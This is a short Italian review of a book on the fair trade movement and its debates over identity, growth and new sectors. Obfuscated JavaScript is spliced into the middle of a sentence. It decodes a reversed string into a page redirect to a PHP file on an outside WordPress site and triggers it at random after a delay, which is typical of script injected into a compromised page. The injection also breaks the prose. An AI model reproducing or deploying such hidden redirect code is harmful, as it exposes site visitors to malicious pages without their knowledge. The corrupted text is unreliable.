La crisi è una sfida

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Questo viaggio nel movimento del commercio equo partecipa al vivace dibattito interno, al continuo interrogarsi sulla sua identità, alle tensioni anche animose tra spinte innovatrici e conservatrici, al coinvolgimento politico di una parte di esso per il cambiamento delle regole “da dentro”.
Viene evidenziato il rischio che comporta un’espansione troppo rapida, com’è stato in questi anni, ma anche il rifiuto di molta parte del movimento a indugiare, rischi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando così di relegarsi a una nicchia di mercato, incapace di moltiplicare le contaminazioni positive.
Emerge una straordinaria capacità di mediazione tra valori originari e orizzonti esplorabili, che al momento rappresenta la vera forza del movimento, premiato dalle sperimentazioni fatte in nuovi settori come la finanza etica o il turismo responsabile. (a.b.)

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